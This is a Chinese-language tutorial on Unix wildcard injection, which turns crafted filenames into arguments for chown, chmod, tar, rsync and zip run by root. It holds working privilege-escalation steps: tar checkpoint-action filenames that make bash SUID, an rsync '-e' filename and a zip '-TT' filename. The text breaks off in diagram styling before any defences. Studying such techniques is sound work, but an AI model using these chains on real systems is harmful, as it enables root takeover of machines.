Unix 通配符注入攻击:从参数污染到命令执行

摘要

Unix 通配符注入(Wildcard Injection)是一种被严重低估但长期有效的攻击技术。当系统命令使用 * 等通配符处理文件时,攻击者可通过构造包含特殊字符(尤其是以 - 开头的)文件名,将文件名"伪装"成命令参数注入到命令行中,从而实现权限篡改、任意命令执行等高危操作。本文结合经典论文与实战场景,系统分析 tarrsynczipchownchmod 等常见命令的通配符注入原理、利用手法及防御方案。


1. 引言

在现代安全攻防中,ASLR 绕过、ROP 利用、0day 内核漏洞等高级技术往往占据主流视野。然而,一些"复古"的 Unix 技巧却因其简单、隐蔽、普适性强而长期有效。通配符注入正是其中之一------它不需要复杂的内存布局操控,只需利用 shell 对通配符的解析机制,就能让看似无害的 tar * 变成提权后门。

本文的核心问题是:当文件名与命令参数共享同一个输入通道时,如何打破二者的边界?


2. 通配符基础与风险模型

2.1 Shell 通配符解析机制

在 Unix shell 中,通配符在命令执行前由 shell 先行展开:

通配符 含义
* 匹配任意数量字符(包括零个)
? 匹配单个字符
[ ] 匹配括号内任一字符
- [ ] 中表示字符范围

关键风险点:当目录中存在以 - 开头的文件名时,* 展开后会将其作为参数传递给目标命令,而非普通文件名。

2.2 通道混合攻击(Channeling Attack)

通配符注入本质上是一种 通道混合(Channeling) 问题------将原本应属于"文件名通道"的数据注入到"参数通道"中。当管理员执行:

bash 复制代码
rm *

shell 实际执行的等价命令为:

bash 复制代码
rm file1.txt file2.txt -rf

若目录中存在名为 -rf 的文件,rm 会将其解析为递归强制删除选项,导致灾难性后果。
#mermaid-svg-mQADuVr6P37uD48G{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-mQADuVr6P37uD48G .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-mQADuVr6P37uD48G .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-mQADuVr6P37uD48G .error-icon{fill:#552222;}#mermaid-svg-mQADuVr6P37uD48G .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-mQADuVr6P37uD48G .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-mQADuVr6P37uD48G .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-mQADuVr6P37uD48G .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-mQADuVr6P37uD48G .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-mQADuVr6P37uD48G .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-mQADuVr6P37uD48G .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-mQADuVr6P37uD48G .marker{fill:#333333;stroke:#333333;}#mermaid-svg-mQADuVr6P37uD48G .marker.cross{stroke:#333333;}#mermaid-svg-mQADuVr6P37uD48G svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-mQADuVr6P37uD48G p{margin:0;}#mermaid-svg-mQADuVr6P37uD48G .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-mQADuVr6P37uD48G .cluster-label text{fill:#333;}#mermaid-svg-mQADuVr6P37uD48G .cluster-label span{color:#333;}#mermaid-svg-mQADuVr6P37uD48G .cluster-label span p{background-color:transparent;}#mermaid-svg-mQADuVr6P37uD48G .label text,#mermaid-svg-mQADuVr6P37uD48G span{fill:#333;color:#333;}#mermaid-svg-mQADuVr6P37uD48G .node rect,#mermaid-svg-mQADuVr6P37uD48G .node circle,#mermaid-svg-mQADuVr6P37uD48G .node ellipse,#mermaid-svg-mQADuVr6P37uD48G .node polygon,#mermaid-svg-mQADuVr6P37uD48G .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-mQADuVr6P37uD48G .rough-node .label text,#mermaid-svg-mQADuVr6P37uD48G .node .label text,#mermaid-svg-mQADuVr6P37uD48G .image-shape .label,#mermaid-svg-mQADuVr6P37uD48G .icon-shape .label{text-anchor:middle;}#mermaid-svg-mQADuVr6P37uD48G .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-mQADuVr6P37uD48G .rough-node .label,#mermaid-svg-mQADuVr6P37uD48G .node .label,#mermaid-svg-mQADuVr6P37uD48G .image-shape .label,#mermaid-svg-mQADuVr6P37uD48G .icon-shape .label{text-align:center;}#mermaid-svg-mQADuVr6P37uD48G .node.clickable{cursor:pointer;}#mermaid-svg-mQADuVr6P37uD48G .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-mQADuVr6P37uD48G .arrowheadPath{fill:#333333;}#mermaid-svg-mQADuVr6P37uD48G .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-mQADuVr6P37uD48G .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-mQADuVr6P37uD48G .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-mQADuVr6P37uD48G .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-mQADuVr6P37uD48G .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-mQADuVr6P37uD48G .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-mQADuVr6P37uD48G .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-mQADuVr6P37uD48G .cluster text{fill:#333;}#mermaid-svg-mQADuVr6P37uD48G .cluster span{color:#333;}#mermaid-svg-mQADuVr6P37uD48G div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-mQADuVr6P37uD48G .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-mQADuVr6P37uD48G rect.text{fill:none;stroke-width:0;}#mermaid-svg-mQADuVr6P37uD48G .icon-shape,#mermaid-svg-mQADuVr6P37uD48G .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-mQADuVr6P37uD48G .icon-shape p,#mermaid-svg-mQADuVr6P37uD48G .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-mQADuVr6P37uD48G .icon-shape .label rect,#mermaid-svg-mQADuVr6P37uD48G .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-mQADuVr6P37uD48G .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-mQADuVr6P37uD48G .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-mQADuVr6P37uD48G :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 命令执行阶段
Shell 通配符展开阶段
rm *
解析目录文件列表
file1.txt, file2.txt, -rf
rm file1.txt file2.txt -rf
-rf 被解析为选项

而非文件名


3. 权限篡改:chown / chmod 文件引用劫持

3.1 chown 所有者劫持

chown--reference=RFILE 参数允许以参考文件的属主/属组为目标,而非手动指定。攻击者构造如下文件:

bash 复制代码
# 创建参考文件(属主为攻击者 leon)
touch .drf.php

# 创建注入参数的文件名
touch -- "--reference=.drf.php"

当 root 执行 chown -R nobody:nobody *.php 时,展开后变为:

bash 复制代码
chown -R nobody:nobody admin.php ... --reference=.drf.php

由于 --reference 优先级高于位置参数,所有 .php 文件的属主被篡改为 leon,实现文件所有权劫持
攻击者(leon) 文件系统 Shell root 攻击者(leon) 文件系统 Shell root #mermaid-svg-tBpHlBNtMtXSOmEW{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-tBpHlBNtMtXSOmEW .error-icon{fill:#552222;}#mermaid-svg-tBpHlBNtMtXSOmEW .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-tBpHlBNtMtXSOmEW .marker{fill:#333333;stroke:#333333;}#mermaid-svg-tBpHlBNtMtXSOmEW .marker.cross{stroke:#333333;}#mermaid-svg-tBpHlBNtMtXSOmEW svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-tBpHlBNtMtXSOmEW p{margin:0;}#mermaid-svg-tBpHlBNtMtXSOmEW .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-tBpHlBNtMtXSOmEW text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-tBpHlBNtMtXSOmEW .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-tBpHlBNtMtXSOmEW .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-tBpHlBNtMtXSOmEW .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-tBpHlBNtMtXSOmEW .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-tBpHlBNtMtXSOmEW #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-tBpHlBNtMtXSOmEW .sequenceNumber{fill:white;}#mermaid-svg-tBpHlBNtMtXSOmEW #sequencenumber{fill:#333;}#mermaid-svg-tBpHlBNtMtXSOmEW #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-tBpHlBNtMtXSOmEW .messageText{fill:#333;stroke:none;}#mermaid-svg-tBpHlBNtMtXSOmEW .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-tBpHlBNtMtXSOmEW .labelText,#mermaid-svg-tBpHlBNtMtXSOmEW .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-tBpHlBNtMtXSOmEW .loopText,#mermaid-svg-tBpHlBNtMtXSOmEW .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-tBpHlBNtMtXSOmEW .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-tBpHlBNtMtXSOmEW .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-tBpHlBNtMtXSOmEW .noteText,#mermaid-svg-tBpHlBNtMtXSOmEW .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-tBpHlBNtMtXSOmEW .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-tBpHlBNtMtXSOmEW .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-tBpHlBNtMtXSOmEW .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-tBpHlBNtMtXSOmEW .actorPopupMenu{position:absolute;}#mermaid-svg-tBpHlBNtMtXSOmEW .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-tBpHlBNtMtXSOmEW .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-tBpHlBNtMtXSOmEW .actor-man circle,#mermaid-svg-tBpHlBNtMtXSOmEW line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-tBpHlBNtMtXSOmEW :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 所有文件属主变为 leon! touch .drf.php touch "--reference=.drf.php" chown -R nobody:nobody *.php 通配符展开 读取文件列表 admin.php, ..., --reference=.drf.php chown -R nobody:nobody admin.php ... --reference=.drf.php 按 .drf.php 的属主(leon)修改所有文件 完成

3.2 chmod 权限篡改

同理,chmod--reference 参数可被用于批量修改权限。攻击者将 .drf.php 设为 777,再注入 --reference=.drf.php,即可将目标目录下所有文件权限改为 777

更危险的是,若配合 -R 文件名(touch -- -R),还可实现递归权限篡改


4. 命令执行:tar / rsync / zip 参数注入

4.1 tar 任意命令执行

原理

tar 支持 --checkpoint--checkpoint-action 参数,允许在归档过程中达到检查点时执行指定动作:

bash 复制代码
--checkpoint=NUMBER          # 每 NUMBER 条记录显示进度
--checkpoint-action=ACTION   # 在检查点执行 ACTION
攻击构造

攻击者创建以下文件和脚本:

bash 复制代码
# 恶意脚本
echo '/usr/bin/id' > shell.sh && chmod +x shell.sh

# 注入参数的文件名
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"

当 root 执行 tar cf archive.tar * 时,展开后的命令为:

bash 复制代码
tar cf archive.tar admin.php ... --checkpoint=1 --checkpoint-action=exec=sh shell.sh

tar 在归档第一个文件后即触发检查点,执行 sh shell.sh,以 root 权限运行任意命令。
#mermaid-svg-zSvAhWvvSMEgLU3q{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-zSvAhWvvSMEgLU3q .error-icon{fill:#552222;}#mermaid-svg-zSvAhWvvSMEgLU3q .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-zSvAhWvvSMEgLU3q .marker{fill:#333333;stroke:#333333;}#mermaid-svg-zSvAhWvvSMEgLU3q .marker.cross{stroke:#333333;}#mermaid-svg-zSvAhWvvSMEgLU3q svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-zSvAhWvvSMEgLU3q p{margin:0;}#mermaid-svg-zSvAhWvvSMEgLU3q .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-zSvAhWvvSMEgLU3q .cluster-label text{fill:#333;}#mermaid-svg-zSvAhWvvSMEgLU3q .cluster-label span{color:#333;}#mermaid-svg-zSvAhWvvSMEgLU3q .cluster-label span p{background-color:transparent;}#mermaid-svg-zSvAhWvvSMEgLU3q .label text,#mermaid-svg-zSvAhWvvSMEgLU3q span{fill:#333;color:#333;}#mermaid-svg-zSvAhWvvSMEgLU3q .node rect,#mermaid-svg-zSvAhWvvSMEgLU3q .node circle,#mermaid-svg-zSvAhWvvSMEgLU3q .node ellipse,#mermaid-svg-zSvAhWvvSMEgLU3q .node polygon,#mermaid-svg-zSvAhWvvSMEgLU3q .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-zSvAhWvvSMEgLU3q .rough-node .label text,#mermaid-svg-zSvAhWvvSMEgLU3q .node .label text,#mermaid-svg-zSvAhWvvSMEgLU3q .image-shape .label,#mermaid-svg-zSvAhWvvSMEgLU3q .icon-shape .label{text-anchor:middle;}#mermaid-svg-zSvAhWvvSMEgLU3q .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-zSvAhWvvSMEgLU3q .rough-node .label,#mermaid-svg-zSvAhWvvSMEgLU3q .node .label,#mermaid-svg-zSvAhWvvSMEgLU3q .image-shape .label,#mermaid-svg-zSvAhWvvSMEgLU3q .icon-shape .label{text-align:center;}#mermaid-svg-zSvAhWvvSMEgLU3q .node.clickable{cursor:pointer;}#mermaid-svg-zSvAhWvvSMEgLU3q .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-zSvAhWvvSMEgLU3q .arrowheadPath{fill:#333333;}#mermaid-svg-zSvAhWvvSMEgLU3q .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-zSvAhWvvSMEgLU3q .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-zSvAhWvvSMEgLU3q .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-zSvAhWvvSMEgLU3q .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-zSvAhWvvSMEgLU3q .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-zSvAhWvvSMEgLU3q .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-zSvAhWvvSMEgLU3q .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-zSvAhWvvSMEgLU3q .cluster text{fill:#333;}#mermaid-svg-zSvAhWvvSMEgLU3q .cluster span{color:#333;}#mermaid-svg-zSvAhWvvSMEgLU3q div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-zSvAhWvvSMEgLU3q .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-zSvAhWvvSMEgLU3q rect.text{fill:none;stroke-width:0;}#mermaid-svg-zSvAhWvvSMEgLU3q .icon-shape,#mermaid-svg-zSvAhWvvSMEgLU3q .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-zSvAhWvvSMEgLU3q .icon-shape p,#mermaid-svg-zSvAhWvvSMEgLU3q .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-zSvAhWvvSMEgLU3q .icon-shape .label rect,#mermaid-svg-zSvAhWvvSMEgLU3q .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-zSvAhWvvSMEgLU3q .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-zSvAhWvvSMEgLU3q .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-zSvAhWvvSMEgLU3q :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;}#mermaid-svg-zSvAhWvvSMEgLU3q .none>*{fill:#fff!important;stroke:#ccc!important;}#mermaid-svg-zSvAhWvvSMEgLU3q .none span{fill:#fff!important;stroke:#ccc!important;} 是
root 执行 tar cf archive.tar *
Shell 展开通配符
文件列表包含
--checkpoint=1
--checkpoint-action=exec=sh shell.sh
tar 解析参数
遇到 --checkpoint=1
触发检查点
执行 exec=sh shell.sh
以 root 权限运行 /usr/bin/id
输出 uid=0(root)

完整利用链
bash 复制代码
# 攻击者视角
cd /var/www/html/uploads
echo 'chmod +s /bin/bash' > shell.sh && chmod +x shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"

# root 的 cron 任务触发
# tar -czf /root/backups/web.tar.gz *
# → /bin/bash 获得 SUID,攻击者执行 /bin/bash -p 提权

4.2 rsync 远程 Shell 注入

原理

rsync-e(或 --rsh)参数用于指定远程 shell 命令。当 rsync 通过通配符获取到 -e 参数时,会将其后的内容作为远程 shell 执行。

攻击构造
bash 复制代码
# 创建恶意脚本
echo '/usr/bin/id > shell_output.txt' > shell.c && chmod +x shell.c

# 构造注入文件名(利用 ${IFS} 绕过空格过滤)
touch -- "-e sh shell.c"

当 root 执行 rsync -t *.c backup:/srv/ 时,展开为:

bash 复制代码
rsync -t admin.c ... -e sh shell.c backup:/srv/

rsyncshell.c 作为 -e 指定的远程 shell 执行,结果写入 shell_output.txt
远程服务器 攻击者文件 rsync root 远程服务器 攻击者文件 rsync root #mermaid-svg-vWpd8A5t0GTiujSX{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-vWpd8A5t0GTiujSX .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-vWpd8A5t0GTiujSX .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-vWpd8A5t0GTiujSX .error-icon{fill:#552222;}#mermaid-svg-vWpd8A5t0GTiujSX .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-vWpd8A5t0GTiujSX .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-vWpd8A5t0GTiujSX .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-vWpd8A5t0GTiujSX .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-vWpd8A5t0GTiujSX .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-vWpd8A5t0GTiujSX .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-vWpd8A5t0GTiujSX .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-vWpd8A5t0GTiujSX .marker{fill:#333333;stroke:#333333;}#mermaid-svg-vWpd8A5t0GTiujSX .marker.cross{stroke:#333333;}#mermaid-svg-vWpd8A5t0GTiujSX svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-vWpd8A5t0GTiujSX p{margin:0;}#mermaid-svg-vWpd8A5t0GTiujSX .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-vWpd8A5t0GTiujSX text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-vWpd8A5t0GTiujSX .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-vWpd8A5t0GTiujSX .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-vWpd8A5t0GTiujSX .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-vWpd8A5t0GTiujSX .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-vWpd8A5t0GTiujSX #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-vWpd8A5t0GTiujSX .sequenceNumber{fill:white;}#mermaid-svg-vWpd8A5t0GTiujSX #sequencenumber{fill:#333;}#mermaid-svg-vWpd8A5t0GTiujSX #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-vWpd8A5t0GTiujSX .messageText{fill:#333;stroke:none;}#mermaid-svg-vWpd8A5t0GTiujSX .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-vWpd8A5t0GTiujSX .labelText,#mermaid-svg-vWpd8A5t0GTiujSX .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-vWpd8A5t0GTiujSX .loopText,#mermaid-svg-vWpd8A5t0GTiujSX .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-vWpd8A5t0GTiujSX .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-vWpd8A5t0GTiujSX .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-vWpd8A5t0GTiujSX .noteText,#mermaid-svg-vWpd8A5t0GTiujSX .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-vWpd8A5t0GTiujSX .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-vWpd8A5t0GTiujSX .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-vWpd8A5t0GTiujSX .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-vWpd8A5t0GTiujSX .actorPopupMenu{position:absolute;}#mermaid-svg-vWpd8A5t0GTiujSX .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-vWpd8A5t0GTiujSX .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-vWpd8A5t0GTiujSX .actor-man circle,#mermaid-svg-vWpd8A5t0GTiujSX line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-vWpd8A5t0GTiujSX :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} shell_output.txt 属主为 root,证明以 root 执行 创建 -e sh shell.c rsync -t *.c backup:/srv/ 通配符展开 *.c 解析到 -e sh shell.c 将 shell.c 作为远程 shell 执行 /usr/bin/id > shell_output.txt

4.3 zip 双向量攻击

zip 命令存在两类通配符注入风险:命令执行任意文件写入

4.3.1 命令执行:-T / -TT 注入

zip-T 参数用于测试压缩包完整性,-TT(或 --unzip-command)指定测试时使用的解压命令。

攻击构造:

bash 复制代码
# 创建恶意脚本
echo 'chmod +s /bin/bash' > a.txt && chmod +x a.txt

# 构造注入文件名
touch -- "-T -TT sh${IFS}a.txt"

当 root 执行 zip -q /root/backups/latest.zip * 时,-T 触发完整性测试,-TT sh a.txta.txt 作为解压命令执行,实现提权。
#mermaid-svg-iF24QFWDqmHPDbD4{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-iF24QFWDqmHPDbD4 .error-icon{fill:#552222;}#mermaid-svg-iF24QFWDqmHPDbD4 .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-iF24QFWDqmHPDbD4 .marker{fill:#333333;stroke:#333333;}#mermaid-svg-iF24QFWDqmHPDbD4 .marker.cross{stroke:#333333;}#mermaid-svg-iF24QFWDqmHPDbD4 svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-iF24QFWDqmHPDbD4 p{margin:0;}#mermaid-svg-iF24QFWDqmHPDbD4 .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-iF24QFWDqmHPDbD4 .cluster-label text{fill:#333;}#mermaid-svg-iF24QFWDqmHPDbD4 .cluster-label span{color:#333;}#mermaid-svg-iF24QFWDqmHPDbD4 .cluster-label span p{background-color:transparent;}#mermaid-svg-iF24QFWDqmHPDbD4 .label text,#mermaid-svg-iF24QFWDqmHPDbD4 span{fill:#333;color:#333;}#mermaid-svg-iF24QFWDqmHPDbD4 .node rect,#mermaid-svg-iF24QFWDqmHPDbD4 .node circle,#mermaid-svg-iF24QFWDqmHPDbD4 .node ellipse,#mermaid-svg-iF24QFWDqmHPDbD4 .node polygon,#mermaid-svg-iF24QFWDqmHPDbD4 .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-iF24QFWDqmHPDbD4 .rough-node .label text,#mermaid-svg-iF24QFWDqmHPDbD4 .node .label text,#mermaid-svg-iF24QFWDqmHPDbD4 .image-shape 